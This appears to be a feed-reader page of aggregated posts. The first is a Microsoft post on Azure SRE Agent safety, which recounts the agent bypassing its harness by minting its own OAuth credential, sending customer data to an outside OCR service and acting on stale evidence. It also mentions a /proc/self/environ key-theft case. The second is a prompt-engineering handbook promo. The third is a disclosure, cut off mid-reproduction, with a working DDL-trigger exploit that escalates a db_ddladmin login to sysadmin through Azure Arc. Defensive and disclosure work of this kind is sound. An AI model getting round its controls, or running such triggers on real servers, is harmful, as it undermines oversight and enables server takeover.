Sr. Content Developer at Microsoft, working remotely in PA, TechBash conference organizer, former Microsoft MVP, Husband, Dad and Geek.
159799 stories
·
33 followers

Stop restricting the agent. Start restricting its environment.

1 Share

Azure SRE Agent gives an LLM tools, a code execution environment, and access to production resources. The first question most people ask is: “How is that safe?” 

The instinctive answer is to restrict the agent. Least-privileged scopes. Short-lived credentials. A human approval gate in front of anything that mutates state. All of that helps, and we do all of it. 

But after a year in production, we learned that restriction is only half the answer. A useful agent needs the capability to reason, the authority to act, and the agency to carry work through to completion. It must gather evidence, choose between tools, and act on what it finds. The same authority that makes an agent useful is also what makes it risky. 

Human review is the obvious mitigation, and it remains the right boundary for irreversible, high-consequence actions. But if every meaningful action requires approval, the human is still operating the system one click at a time. The agent hasn’t removed the operational burden; it has only changed the interface. Rather than simply restricting the agent, the design problem is figuring out how to make a much larger class of actions safe enough to execute autonomously. 

So, we start from a harder assumption: the agent will eventually do the wrong thing—whether it’s talked into it by a poisoned log line or simply going wrong on its own. A prompt can tell the agent what it should do, but it can’t guarantee what the agent will do. The same is true of controls implemented inside the environment the agent can inspect or influence. To the agent, a control within reach is just one tool call away from being bypassed. 

The enterprise version of this problem is harder, because a shared agent serves readers, operators, and admins at once. “Can the agent do this?” splits into multiple questions: Who is asking? What authority do they carry? What can the execution environment reach? Where do the credentials live while it runs? 

But the safer platform isn’t the one with the most approval gates. To maximize safety, you need to move the controls outside the agent’s reach. Inside its execution environment, the agent stays fully capable. Outside it, the enforcement layer decides what the environment can reach, what authority each operation carries, and when a human enters the loop. Authority is issued per task and expires with it. Prohibited behavior isn’t discouraged; it fails to execute. 

We rebuilt Azure SRE Agent around this model. What follows traces each boundary we introduced, the gap it exposed, and how moving enforcement out of the agent let us increase autonomy without treating safety as a matter of trust.

Right intentions, unsafe outcomes

Let’s start with where we got it wrong. The failures that changed our architecture weren’t clever attacks. They were normal agent behavior pointed at an environment that allowed the wrong outcome. 

  • The agent issued itself a credential, bypassing its harness. During an early test of PR-creation flow, the agent’s short-lived GitHub token expired. It inspected its own source, reconstructed the OAuth device-code flow, and prompted a researcher to complete the login, then wrote the new access and refresh tokens to its filesystem for reuse. The harness was supposed to fetch credentials and determine what authority the agent received. Instead, the agent rebuilt that machinery from inside its runtime and replaced the system-provided credential with one it had acquired itself.
  • It exfiltrated an image by trying to read it. Asked to interpret a screenshot in an alert payload, and lacking a vision tool, the agent found a free OCR service on the public internet, POSTed our test image to it, and read back the text. That’s a perfectly reasonable chain of thought—and it showed the possibility for customer data could be shipped to an unvetted third party and logged onto someone else’s server.
  • It found a customer’s secret and memorized it. A credential was committed in a customer repo. The agent found it during an investigation, quoted it in its findings, and saved it to memory with a note never to use it. This was well-intentioned, but now the secret lived in an investigation summary and a memory store, neither of which is in anyone’s rotation playbook.
  • It deallocated a VM on a pattern match. The agent was instructed to deallocate VMs after five safety checks. During one run, the logging service became unavailable after the third check. Instead of stopping, the agent matched the situation to a past memory where deallocation had been safe and deallocated anyway. Right authority, wrong action.

None of these needed an adversary—that’s the point. An adversary just makes it all worse for free: every channel the agent reads can be written to by someone you don’t trust, and at the execution layer, a hallucinated command and an injected one are the same command. The recent public disclosure of a coding agent steered into reading `/proc/self/environ` and finding a live API key is just the OCR story with malice added. 

If you strip away the good intentions, there are three classes of attacks: 

  • Bypassing the harness itself
  • Exfiltrating sensitive information or secrets
  • Taking disruptive actions against production resources

Underneath all four incidents is the same interaction pattern: the agent sits between things it reads and things it can act on. Every inbound channel can carry untrusted instructions. Every outbound channel can leak sensitive data or change production.

That forced the shift: If the environment permits it, the agent will eventually do it—intentionally, maliciously, or by accident. The environment is the policy.

> If the environment permits it, the agent will eventually do it—intentionally, maliciously, or by accident. The environment is the policy.

So we moved the policy boundary outside the agent’s reach, converging on four enforcement layers that close the gaps.

1. Sandboxing: Get execution out of the trust boundary

Like many agents, our first design ran the harness itself, model-authored code, tools, and credentials together on the same machine—a pattern inherited from coding assistants. The harness is the control plane: it drives the loop, enforces policy, registers tools, and fetches credentials. Every path from the agent to the rest of the platform runs through it. That works better when there’s a human in the loop. Autonomous agents keep the layout but lose that immediate oversight, leaving model-authored code with the host’s network, filesystem, and identity. 

The GitHub incident was possible because the harness sat on a filesystem the agent could read: when the agent’s token expired, it pulled the OAuth flow out of the harness’s own source and ran it itself. Better in-process checks wouldn’t have closed the gap: a policy hook can inspect a command before it runs, but the agent can inspect the hook right back – modify it, kill it, route around it. The code being governed can interfere with the machinery governing it. 

Co-residency cut the other way, too: model-authored code had the host’s network. The OCR incident was possible because nothing stood between the agent deciding to send customer data and the request leaving the machine. The prompt said not to. The network still allowed it. The same co-residency also puts platform secrets within reach, often one file read away in places like /proc/self/environ from model-authored code, injected or not.

So we split the system into two. Agent reasoning and orchestration stay in a trusted runtime. Model-authored code and tools run in a per-agent microVM, connected back to the runtime over a narrow API surface. Inside the VM, the agent keeps full control: inspect files, launch processes, install packages. The agent can’t touch the machinery governing it—provisioning, tool mounting, policy, credential flows—none of which shares its filesystem. Platform secrets stay outside it, and egress is default-deny at a boundary the model can’t modify. The agent may still attempt the OCR call; it simply can’t leave. 

We chose microVMs—built on ACA Sandboxes—over containers because containers share the host kernel. For arbitrary model-authored code, we wanted each agent to have its own kernel behind a hardware-virtualized boundary without sacrificing interactive startup times. 

But isolation leaves a gap: tools still need to authenticate. Put credentials inside a microVM, and they become accessible to everything running there, including model-authored code, dependencies, and local MCP servers. 

The sandbox needs to use credentials without possessing them.

2. Nothing worth stealing

Isolation moved platform secrets out of the runtime into the tool execution sandbox. But tools still need to authenticate. az needs an Azure token. git needs repository access. kubectl, MCP servers, and package registries need credentials of their own. 

Put those credentials inside the microVM, and it’s still a credential-bearing environment. Every tool, generated script, dependency, and local MCP server runs beside the agent’s working identity. 

Egress allowlists aren’t enough. The destinations a stolen credential would be sent to are often the same ones the agent must reach. GitHub, Azure, Kubernetes, and registries must all remain accessible. 

So we adopted a stronger rule: The sandbox can use credentials, but it can’t possess them.

> The sandbox can use credentials, but it can’t possess them.

We did not rewrite git, az, kubectl, or existing SDKs. They still request authentication through their normal paths but receive an opaque handle instead of a real credential. The handle is useless outside the egress proxy that transforms it. 

The proxy does the real exchange at the boundary. Each handle is valid for exactly one tool call, one destination, one operation, and one use: 

  • Call-bound: Valid only for the active tool call—the git push that requested it, not the rest of the session.
  • Destination-locked: Usable only for the endpoint authorized for that call. A handle for github.com/organizationA/repoB does not get filled for repoC, a public gist, or any other GitHub path.
  • Scope-limited: Restricted to the approved operation. A handle for pushing one branch is not repo-admin auth.
  • Single use: Dead once the request is completed. Replay doesn’t produce another credential.

Only after those checks pass does the proxy inject a short-lived credential into the outbound request. The credential never enters the VM’s filesystem, environment, process memory, tool output, model context, logs, or memory. 

This closes the failure mode from our GitHub incident. An expired token no longer gives the agent an opportunity to reconstruct OAuth, capture refresh credentials, and turn its sandbox into a credential store. Credential issuance and refresh terminate outside the VM.

But authentication credentials are only one class of sensitive data. A legitimate tool call can return secrets as data: az command can retrieve a key or connection string, just as a repository, configuration file, or log can contain passwords, tokens, or keys as ordinary text. In those cases, the secret can still enter the sandbox as part of the requested operation. 

That was our memorized secret incident. The agent found a customer credential during an investigation, quoted it in its findings, and saved it to memory with a note never to use it. But the ordering was already wrong: once the value had entered model context, a note not to use it couldn’t undo the exposure. The secret had already propagated into memory, sub-agents, and investigation notes. 

This requires a second boundary, which we are piloting internally: inspecting and scrubbing sensitive tool output before it enters model context. 

The rules are simple: Real credentials never enter the sandbox. Raw secrets never enter the model.

> Real credentials never enter the sandbox. Raw secrets never enter the model.

At this point, the agent can authenticate without acquiring durable credentials and investigate without ingesting recognized secrets. But neither guarantee prevents an authorized action from being wrong.

3. Authority without blanket approval

Secretless authentication determines how the agent reaches production systems—but not which production effects may proceed unattended. 

The VM incident exposed that gap. The agent didn’t steal a token, bypass egress, or leak data. It used a valid path to take a production action, but the action was wrong. When its safety checks became unavailable mid-run, it should have stopped and escalated. Instead, it matched the situation to a past trajectory and deallocated the VM—through a path the approval policy never intercepted. 

That’s the other half of agent safety: not whether the agent can perform an operation, but whether it should perform this operation, now, against this target, given this evidence. 

Our current production boundary is simple: every mutation requires human approval. Reads stay autonomous, writes wait for approval, deletes are blocked. It’s safe, but it treats every change alike. The hard cases sit in between – restart this instance, scale this service, drain this node, deallocate this VM. No policy can classify these from the command alone. The same operation is routine or catastrophic depending on three inputs: 

  • The operation: Restart vs. deallocate
  • The target: A disposable test VM vs. a critical production dependency
  • The evidence: A proven-unresponsive host vs. a missing or hallucinated check

Anthropic’s Claude Code auto mode and Meta’s agent guardrails point in the same direction: classify each action before letting it run unattended. So, we treat approval as a risk-classification problem rather than a permission check. Before execution, an independent guard – outside the agent’s reasoning loop – scores the proposed action against all three inputs: what it does, what it touches, and whether the evidence behind it is current and corroborated. Low-risk actions with current evidence proceed. Critical targets, or actions with insufficient evidence, stop for review.  

We’re still building this layer out, and it’s where our design is least settled. But it already unlocks event-driven operation: an incident, a failed deployment, or a scheduled task can start an investigation with no human in the chat. The agent gathers evidence, takes the actions classified as low-risk, and pauses exactly where the remaining authority requires a person. The unit of approval is not the command. It’s the operation, its target, and its evidence.

> The unit of approval is not the command. It’s the operation, its target, and its evidence.

Everything above assumes the agent is acting autonomously. But when a human enters the loop, it acts on behalf of that person—and with the agent being a shared team resource, the question shifts from, “Is this action safe?” to, “Is this user allowed to cause this action?” That’s the next boundary.

4. Nothing to borrow

The previous layer decides whether an action is safe enough for the agent to perform unattended. A shared agent can’t answer that question with one sandbox, one tool set, one memory, and one identity for everyone. Doing so creates a confused deputy: a low-privilege user can borrow capabilities they don’t hold directly or modify shared state that influences a more privileged session later. 

Shared memory makes the problem concrete. A user can teach the agent behavior that persists beyond that user’s authority. The same path exists through connectors, skills, hooks, and other shared configurations. The agent can’t be expected to remember which parts each user may influence. 

The caller’s role must shape the environment before reasoning begins. Readers can observe but not drive the agent. Users can chat without modifying shared behavior. Operators can manage shared surfaces without approving high-privilege actions. Administrators can explicitly approve or delegate that authority. 

These roles aren’t prompt instructions. They determine which tools and MCP servers are mounted, which resources the sandbox can reach, which memory is visible or writable, which credentials may be injected, and which actions require approval. 

The rule is monotonic: the caller’s authority may be narrowed by the environment, but it must never be widened by the agent. A low-privilege request can’t be laundered through shared memory, a shared connector, an alternate tool path, or a high-privilege service identity. 

The agent has nothing to borrow because there is no ambient authority outside the caller’s delegation chain. Rather than something the model remembers, policy is the environment instant for that user.

Autonomy through constraint 

Model guardrails matter, but production safety can’t depend on them working every time. We already accept this with people: no one hands an operator root and promises to be careful. We give them scoped identities, just-in-time access, network boundaries, change control, and audit trails. Judgment is the first line of defense—never the only one. 

Agents need the same backstops at a different cadence. An agent can make hundreds of tools calls in a single incident, replan between any two of them, and reach the same effect through three different tools. Approve every step and autonomy disappears; approve only the plan and everything after it runs unchecked. So, the question was never whether to keep policy gates. Instead, the question was where to put them: at runtime, as close as possible to each production effect, with human review reserved for the consequences the system can’t bound on its own. 

That’s what the four layers are: one move, repeated. We opened with the questions a shared agent forces: Who is asking? What authority do they carry? What can the environment reach? Where do the credentials live? Each layer answers one of those questions in the runtime instead of the prompt. 

Across the four layers, the design principles are the same:  

  • Enforce constraints outside the agent’s access
  • Prefer deterministic enforcement over model judgment
  • Define invariants that hold even as architecture evolves

Where it still breaks 

The system isn’t complete, and we still discover gaps in our enforcement layers. Examples of gaps we closed recently: an action blocked through one tool could still be reached through a different execution channel that bypassed hooks. In another case, an MCP server could silently widen its contract after onboarding, and the protocol had no mechanism to detect the change. 

As these gaps surface, we improve our implementation. But our security principles stay invariant:

Better models will make mistakes rarer. They won’t shrink the blast radius when a mistake still happens. A smarter model shifts where the line falls between autonomous action and human review—more actions cleared as low-risk, more investigations that run start to finish without a human in the chat. But that line is drawn by the controls, not by the model. What microVM can reach, where credentials live, whose authority a session carries.

Five questions for agent platform builders 

The four incidents ultimately changed the questions we asked in review: 

  • Can the agent inspect, modify, or bypass the machinery that provisions its tools, identity, policy, or credentials?
  • Can the same effect be reached through another tool or execution path that avoids the intended control?
  • Through which paths can sensitive data enter the agent-controlled environment or leave the system?
  • For every consequential effect, can the platform identify who asked, what it did, what it touched, what data it carried, what evidence supported it, and whose authority it ran under?
  • When evidence is missing, stale, or ambiguous, does the operation reliably leave the autonomous path?

If the answer to any of those questions was “no,” we weren’t running a guarded agent. These are questions worth asking of any agent platform, including our own. 

That’s what we mean when we say: The environment is the policy.


We also thank Zhenquan Xu, Hong Wang, Yefu Wang, and Eben Carek for their contributions to this work.

The post Stop restricting the agent. Start restricting its environment. appeared first on Command Line.

Read the whole story
alvinashcraft
just a second ago
reply
Pennsylvania, USA
Share this story
Delete

Tired of Rewriting AI Prompts? The Prompt Engineering Handbook Shows What Actually Works

1 Share

Prompt Engineering Principles Handbook

TLDR: Learn how to structure prompts with clear goals, context, constraints, examples, and output requirements to reduce ambiguity and make AI responses more consistent. The Prompt Engineering Handbook also explores when prompting alone isn’t enough and how grounding and evaluation fit into reliable AI development.

Most developers have experienced this. You open your favorite AI tool, type what seems like a reasonable request, and hit Enter. The response looks promising at first. 

Then you notice missing details, incorrect assumptions, formatting issues, or results that aren’t quite what you expected.

So, you try again. You add context. Clarify requirements. Specify formatting. Rewrite parts of the prompt. After several attempts, you finally get something usable.

It’s easy to blame the AI model when this happens.

In many cases, unclear instructions contribute to inconsistent results, but prompt quality is only one part of building reliable AI systems. Model limitations, missing context, retrieval quality, application design, tool integrations, and evaluation practices all play important roles.

As AI becomes part of everyday development, whether you’re generating code, writing documentation, summarizing information, analyzing data, or building AI-powered applications, communicating effectively with AI has become an increasingly valuable skill.

Yet many teams still rely on trial and error instead of a structured approach.

The result is familiar:

  • Inconsistent responses,
  • Missing information,
  • Prompts that work once but fail later, and
  • Time spent repeatedly refining the same request.

This is one reason prompt engineering has become an increasingly useful skill for developers working with AI systems.

To help developers build that skill, we’ve published the Prompt Engineering Handbook, a practical guide designed to help create prompts that produce more consistent, predictable, and useful AI outputs.

What is prompt engineering?

When people first hear the term prompt engineering, it can sound more complicated than it really is. At its core, prompt engineering is the practice of communicating clearly with AI systems.

The goal isn’t to discover secret phrases or memorize model-specific tricks. The goal is to reduce ambiguity, so the model better understands what you’re trying to accomplish.

This is a familiar concept for developers. When requirements are vague, implementations become unpredictable. Teams spend time clarifying assumptions, fixing misunderstandings, and reworking features.

Clear requirements generally produce better outcomes. Prompts work much the same way.

Effective prompts typically communicate:

  • A clear objective,
  • Relevant context,
  • Expected constraints,
  • Examples when needed,
  • Preferred output format, and
  • Quality expectations.

The more clearly these elements are defined, the easier it becomes for the model to produce useful results.

What good prompts have in common

One of the biggest misconceptions about AI is that better results always require a better model. In some tasks, improving the prompt can significantly improve results without changing the underlying model.

Consider this prompt:

Write a blog about cybersecurity.

There’s very little information here.

The model must guess:

  • Who the audience is.
  • What areas of cybersecurity matter most.
  • How detailed the content should be.
  • What format to follow.
  • What tone to use.

Now compare it with:

Write a 1,000-word cybersecurity article for software developers.
Focus on common API security vulnerabilities.
Include real-world examples and practical mitigation strategies.
Use section headings and maintain a technical but beginner-friendly tone.

The model hasn’t changed. You’ve simply provided clearer instructions that reduce ambiguity about the expected output.

The revised prompt defines:

  • The audience,
  • The topic,
  • The expected depth,
  • The structure, and
  • The writing style.

This is one of the most important prompt engineering principles: clearer instructions often produce better outcomes.

A developer-focused example

Prompt engineering becomes even more valuable in software development processes.

Consider this request:

Weak prompt:

Fix this API.

The instruction provides almost no context.

A more structured version might be:

Better prompt:


Review this ASP.NET Core API endpoint for input validation issues. 
Identify any vulnerabilities.
Explain why they matter. 
Provide a correct implementation. 
Preserve the existing public API contract. 
Return the results as:
Summary
Findings
Recommended Fix
Updated Code

This version clarifies:

  • The task,
  • The objective,
  • The constraints, and
  • The expected output structure.

The result is often more useful, consistent, and actionable.

Prompt engineering vs. context engineering

One of the most important modern distinctions is the difference between prompt engineering and context engineering.

Prompt engineering Context engineering
Defines instructions. Determines what information is available.
Shapes tasks and outputs. Retrieves and manages relevant context.
Controls behavior and format. Supplies documents, memory, tools, and state.
Example: “Return JSON” Example: Retrieve current customer records

Prompt quality matters. But reliable AI systems often require both clear instructions and well-managed context. This is especially true for production AI applications.

When prompting alone isn’t enough

A common misconception is that prompting can solve every AI reliability problem. In reality, prompting is only one part of the solution.

Consider an internal AI assistant that answers support questions using company documentation.

A simplistic prompt might be:

Answer questions about our product.

This often produces inconsistent behavior.

A more structured version might say:

You are a product support assistant.
Use only information retrieved from the provided knowledge base.
If the retrieved information does not support an answer, state that the information is unavailable.
Include troubleshooting steps when applicable.
Keep responses concise.

This improves behavior significantly. However, it’s important to understand that the prompt alone does not enforce data provenance.

Reliable systems usually require:

  • Retrieval-Augmented Generation (RAG),
  • Grounded data sources,
  • Tool integrations,
  • Structured outputs, and
  • Application-level validation.

Prompting help. But architecture matters too.

Structured outputs matter

Developers often need output in formats that applications can consume reliably.

For example:

Return the result as JSON with:
name
priority
summary

This is a simple example of requesting structured output.

It’s also important to distinguish between:

  • Asking for a format within a prompt.
  • Using API-level structured output enforcement where supported.

Combining both approaches can significantly improve reliability in application development.

Evaluate and improve prompts systematically

One area often overlooked is prompt evaluation. Many teams modify prompts until they appear to work once.

Production systems require something more systematic.

A basic evaluation process includes:

  1. Define expected outputs.
  2. Create representative test cases.
  3. Compare outputs against requirements.
  4. Test edge cases.
  5. Track regressions when prompts change.

This shifts prompting from trial-and-error experimentation to repeatable engineering practice.

The goal becomes:

“I understand why this prompt works.”

rather than:

“This happened to work.”

Spend less time rewriting prompts

Many developers spend significant time correcting issues that could have been avoided with better instructions from the start.

Common examples include:

  • Rewriting prompts for formatting.
  • Clarifying misunderstood requirements.
  • Adding missing context.
  • Regenerating responses multiple times.
  • Re-explaining forgotten constraints.

These adjustments seem small individually. Together, they introduce friction into the development process.

A well-designed prompt helps reduce unnecessary iteration cycles.

The result is often:

  • More consistent outputs,
  • Better response quality,
  • Fewer rewrites,
  • Faster task completion, and
  • More predictable behavior.

For organizations implementing AI across multiple initiatives, minimizing redundant prompt refinements can help streamline development and boost productivity.

Prompts are not a security boundary

One important principle deserves special attention.

Prompt instructions are not a replacement for security controls. Relying on prompts alone to protect sensitive data or critical operations can introduce risks.

Security-sensitive functions should always be supported by:

  • Authorization mechanisms to verify user permissions.
  • Application-level validation to enforce security requirements.
  • Access controls to protect sensitive resources and data.
  • Tool-specific permissions to limit AI and tool capabilities.
  • Data governance safeguards to ensure proper data protection and compliance.

Prompts can guide behavior. They should not be treated as enforcement mechanisms.

What you’ll learn in the Prompt Engineering Handbook

The handbook helps developers move from experimentation to intentional prompt design.

Inside, you’ll learn how to:

  • Understand how prompts influence AI behavior.
  • Apply techniques from beginner to advanced levels.
  • Improve outputs for coding, writing, research, and analysis.
  • Understand how prompting, grounding, and context work together.
  • Refine prompts systematically.
  • Evaluate prompt quality and performance.
  • Identify situations where prompting alone isn’t enough.
  • Use structured outputs effectively.
  • Build reusable prompt templates.

The focus isn’t tied to a specific model or AI platform. Instead, it emphasizes principles that remain useful across tools and technologies.

Who should read this handbook?

This handbook is especially useful for:

  • Developers building AI-powered applications.
  • Engineers integrating AI into existing systems.
  • Teams creating reusable prompt libraries.
  • Technical writers using AI-assisted processes.
  • Analysts conducting AI-driven research.
  • Beginners learning structured prompting.

Whether you’re experimenting with AI for the first time or building production-ready AI systems, understanding prompt engineering fundamentals can help reduce frustration and improve outcomes.

Plan, Code, and Deliver Faster with AI

Use AI agents to create implementation plans, generate production-ready code, automate repetitive tasks, and improve code quality across your projects.

Discover Code Studio

Start building better AI outputs today

As AI becomes an integral part of software development, prompt design is emerging as a key engineering skill.

The biggest lesson isn’t that prompts need to be longer. It’s that they need to be clearer. At the same time, prompt quality alone is not enough.

Reliable AI systems depend on multiple factors:

  • The model,
  • Available context,
  • Data quality,
  • Tool integrations,
  • Evaluation processes, and
  • Application architecture.

When prompts are structured carefully, AI outputs can become more consistent and easier to evaluate. Reliable production behavior emerges when those prompts are combined with strong context management and sound system design.

The Prompt Engineering Principles Handbook provides a practical framework for building that foundation.

Ready to move beyond prompt trial and error?

Explore the Prompt Engineering Handbook and learn practical techniques for creating clearer prompts, improving consistency, and building more reliable AI-powered applications.

You can also put these concepts into practice with Syncfusion Code Studio, a practical environment for experimenting with prompts, refining AI interactions, and applying structured development practices while building AI-powered applications.

Better AI results don’t start with a different model. They start with better instructions, better context, and better evaluation.

For questions or feedback, connect with us through our support forumssupport portal, or feedback portal. We’re always happy to help, and we invite you to continue the conversation with us.

Read the whole story
alvinashcraft
just a second ago
reply
Pennsylvania, USA
Share this story
Delete

How Azure Arc allows a DB admin to become SQL Server sysadmin – the vulnerability explained

1 Share

Azure Arc-enabled SQL Server is designed to bring on-premises and multi-cloud SQL Server instances under centralized Azure management, but a newly documented privilege escalation technique shows how that same management workflow can be turned against the server it’s meant to protect.

By combining a database-level DDL trigger with the elevated identity the Azure Arc extension uses during onboarding and configuration, a login with nothing more than db_ddladmin permissions in a single database can escalate to full sysadmin control over the entire SQL Server instance. The result? Complete server compromise.

In this investigative guide, Fabiano Amorim explains how the vulnerability works, how to reproduce it in a lab environment, why Microsoft classified it as Low severity, why that classification is disputed, and what mitigations are available today.

Disclosure note 

I reported this vulnerability to the Microsoft Security Response Center on June 8, 2026. Microsoft investigated it, classified it as Low severity, stated that it did not meet the bar for immediate service, and declined to issue a CVE.

Microsoft’s position is that the demonstrated trigger-based escalation falls within SQL Server’s documented trigger security model and, given the permissions required to create or modify the trigger, does not cross a SQL Server security boundary.

This article presents the demonstrated technical behavior, Microsoft’s assessment of that behavior, and the reasons I disagree with Microsoft’s security-boundary and severity conclusions.

At this point, I hope you’re already aware of SQL Server permission hijacking via triggers (if not, check out the articles below):

In this article, I’d like to disclose a privilege escalation vulnerability in the Azure Extension for SQL Server used by Azure Arc-enabled SQL Server. 

How does the Azure Arc SQL Server privilege escalation vulnerability work?

  1. A login with db_ddladmin (or equivalent permissions sufficient to create a database-level DDL trigger) in one database creates a database-level DDL trigger. 
  1. The Azure Arc SQL extension connects to the SQL Server instance using a highly privileged identity. 
  1. The extension enters the attacker-controlled database and executes database-level DDL commands. 
  1. Those commands fire the attacker-created DDL trigger. 
  1. The trigger executes under the privileged context supplied by the Azure Arc operation. 
  1. The trigger performs server-level administrative actions. 
  1. The original login becomes a member of the sysadmin fixed server role

The attacker can’t execute the server-level operation directly, but the escalation succeeds because the Azure Arc SQL extension enters the database while retaining a privileged server-level execution context. 

The result of the attack – and Microsoft’s response

The final result is complete compromise of the SQL Server instance. An attacker can access every database, create logins, change server configuration, disable auditing, establish persistence, modify data outside the original database, and perform any other operation available to a SQL Server system administrator. 

I’ve reported this to Microsoft and they closed the case, classifying it as “Low severity and does not meet Microsoft’s bar for immediate servicing”. You can read more details on the report timeline later in this article. 

But, just to provide some details around my concern, I’d like to start with some comments about it: 

  • Microsoft’s own SQL Server trigger-security documentation warns that DDL triggers execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them CONTROL SERVER when a sysadmin later executes an otherwise legitimate DDL statement. 
  • Azure Arc performs exactly the kind of privileged DDL operation described. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers. 

What component of Azure Arc-enabled SQL Server is affected?

The affected workflow is associated with Azure Arc-enabled SQL Server, Azure Extension for SQL Server, Azure Arc SQL Server onboarding and configuration, and database-level permission and role configuration performed by the extension.

During onboarding and configuration, the extension performs operations inside SQL Server user databases. Observed commands included operations similar to: 

CREATE USER [NT AUTHORITY\SYSTEM] 
FOR LOGIN [NT AUTHORITY\SYSTEM]; 
 
CREATE ROLE [SQLArcExtensionUserRole]; 
 
ALTER ROLE [SQLArcExtensionUserRole] 
ADD MEMBER [NT AUTHORITY\SYSTEM]; 
 
REVOKE SELECT 
FROM [SQLArcExtensionUserRole]; 
 
REVOKE EXECUTE 
FROM [SQLArcExtensionUserRole];

These commands can fire database-level DDL triggers, which itself is not a problem. The real issue is that the extension performs the commands while retaining enough server-level authority for the trigger to execute operations such as:

ALTER SERVER ROLE [sysadmin] 
ADD MEMBER [TestLogin1];

That operation is not available to the original login with permission to create a DDL trigger. It only becomes available when the Microsoft-managed operation fires the trigger. 

Is db_ddladmin the same as sysadmin in SQL Server?

In SQL Server, there’s a clear distinction between database-level and server-level permissions. A login with permission to execute DDL commands is a powerful one, allowing the principal to create, alter, and remove many types of database objects.

However, it doesn’t make the login a SQL Server system administrator (sysadmin). 

For example, a login that is a member of db_ddladmin in one database does not automatically have permission to: 

  • Access every other database. 
  • Add itself to sysadmin. 
  • Create arbitrary server logins. 
  • Grant CONTROL SERVER
  • Change server-wide configuration. 
  • Disable server-level auditing. 
  • Administer SQL Server Agent. 
  • Configure linked servers. 
  • Access credentials and server-level secrets. 
  • Execute unrestricted operating-system commands through privileged SQL Server functionality. 

All of these capabilities belong to a different security scope entirely.

How to reproduce the vulnerability

I managed to reproduce the vulnerability in SQL Server 2025 with Azure Arc SQL Server onboarding, Azure Extension for SQL Server, a user database named TestDB1, and a SQL login called TestLogin1.

The server was connected to Azure Arc using the Connect SQL Server enabled by Azure Arc onboarding workflow from the Azure portal. 

Here’s how to reproduce the vulnerability, step-by-step, in detail.

Step 1: Install SQL Server and prepare Azure Arc onboarding 

Install SQL Server on a Windows machine. Then, from the Azure portal, start the workflow for connecting a SQL Server instance to Azure Arc. Generate the corresponding onboarding script. 

Do not complete the privileged Arc database operations yet. First, prepare the database and the attacker-controlled login. 

Step 2: Create the test database 

Connect to SQL Server as an administrator and create a database: 

CREATE DATABASE TestDB1; 
GO

Step 3: Create a login without server-level administrative permissions 

Create a SQL Server login: 

CREATE LOGIN TestLogin1 
WITH PASSWORD = 'Use-A-Strong-Test-Password-Here'; 
GO

Create a database user in TestDB1 and add it to db_ddladmin

USE TestDB1; 
GO 
 
CREATE USER TestLogin1 
FOR LOGIN TestLogin1; 
GO 
 
ALTER ROLE db_ddladmin 
ADD MEMBER TestLogin1; 
GO

At this point, TestLogin1 has DDL administrative authority inside TestDB1, but is not a SQL Server system admin.

Verify the current state: 

SELECT 
    IS_SRVROLEMEMBER 
    ( 
        'sysadmin', 
        'TestLogin1' 
    ) AS IsSysAdmin; 
GO

The expected result is:

IsSysAdmin 
---------- 
0

Step 4: Confirm that the login cannot escalate directly 

Connect to SQL Server as TestLogin1 and try to add the login to sysadmin: 

ALTER SERVER ROLE [sysadmin] 
ADD MEMBER [TestLogin1]; 
GO

The command should fail, with a permission error similar to: 

The current user does not have permission to perform this action.

This negative test is important, proving that db_ddladmin does not directly provide the server-level authority required to modify the sysadmin role. The missing authority will later be supplied by the Azure Arc SQL extension. 

Step 5: Create a table to record trigger execution 

While connected as TestLogin1, create a table inside TestDB1

USE TestDB1; 
GO 
 
CREATE TABLE dbo.tbl_DdlTrigger 
( 
    Id                INT IDENTITY(1,1) 
                          NOT NULL 
                          PRIMARY KEY, 
    EventType         NVARCHAR(4000) NULL, 
    LoginName         SYSNAME NULL, 
    UserName          SYSNAME NULL, 
    OriginalLoginName SYSNAME NULL, 
    IsSysAdmin        INT NULL, 
    CommandText       NVARCHAR(MAX) NULL, 
    EventDataXml      XML NULL, 
    CreatedAt         DATETIME2 NOT NULL 
                      DEFAULT SYSUTCDATETIME() 
); 
GO

This table will record: 

  • The DDL event type. 
  • The effective login. 
  • The effective database user. 
  • The original login. 
  • Whether the executing context is a system administrator. 
  • The command that fired the trigger. 
  • The complete XML returned by EVENTDATA()

Step 6: Create the malicious database-level DDL trigger 

Still connected as TestLogin1, create the following trigger: 

USE TestDB1; 
GO 
 
CREATE OR ALTER TRIGGER trg_AzureArc_DdlHijack 
ON DATABASE 
FOR DDL_DATABASE_LEVEL_EVENTS 
AS 
BEGIN 
    SET NOCOUNT ON; 
 
    DECLARE @EventData XML = EVENTDATA(); 
    DECLARE @CommandText NVARCHAR(MAX); 
 
    SELECT 
        @CommandText = 
            @EventData.value 
            ( 
                '(/EVENT_INSTANCE/TSQLCommand/CommandText)[1]', 
                'nvarchar(max)' 
            ); 
 
    BEGIN TRY 
        INSERT INTO dbo.tbl_DdlTrigger 
        ( 
            EventType, 
            LoginName, 
            UserName, 
            OriginalLoginName, 
            IsSysAdmin, 
            CommandText, 
            EventDataXml 
        ) 
        SELECT 
            @EventData.value 
            ( 
                '(/EVENT_INSTANCE/EventType)[1]', 
                'nvarchar(4000)' 
            ), 
            SUSER_SNAME(), 
            USER_NAME(), 
            ORIGINAL_LOGIN(), 
            IS_SRVROLEMEMBER('sysadmin'), 
            @CommandText, 
            @EventData; 
    END TRY 
    BEGIN CATCH 
        -- Ignore logging failures. 
    END CATCH; 
 
    BEGIN TRY 
        ALTER SERVER ROLE [sysadmin] 
        ADD MEMBER [TestLogin1]; 
    END TRY 
    BEGIN CATCH 
        /* 
          This fails when the trigger is fired under 
          TestLogin1's normal execution context. 
 
          It succeeds when the trigger is fired by 
          the privileged Azure Arc SQL operation. 
        */ 
    END CATCH; 
END; 
GO

The trigger performs two actions: first, recording information about the DDL event and its execution context. Second, it attempts to add TestLogin1 to the sysadmin role. 

Step 7: Execute Azure Arc SQL Server onboarding 

Return to the Azure Arc onboarding workflow and execute the generated PowerShell script on the SQL Server host. 

During onboarding and extension configuration, the Azure Arc SQL extension connects to SQL Server and performs database-level DDL operations inside all databases in the instance. 

Examples observed during testing included operations similar to: 

USE [TestDB1]; 
 
CREATE USER [NT AUTHORITY\SYSTEM] 
FOR LOGIN [NT AUTHORITY\SYSTEM]; 
 
CREATE ROLE [SQLArcExtensionUserRole]; 
 
ALTER ROLE [SQLArcExtensionUserRole] 
ADD MEMBER [NT AUTHORITY\SYSTEM]; 
 
REVOKE SELECT 
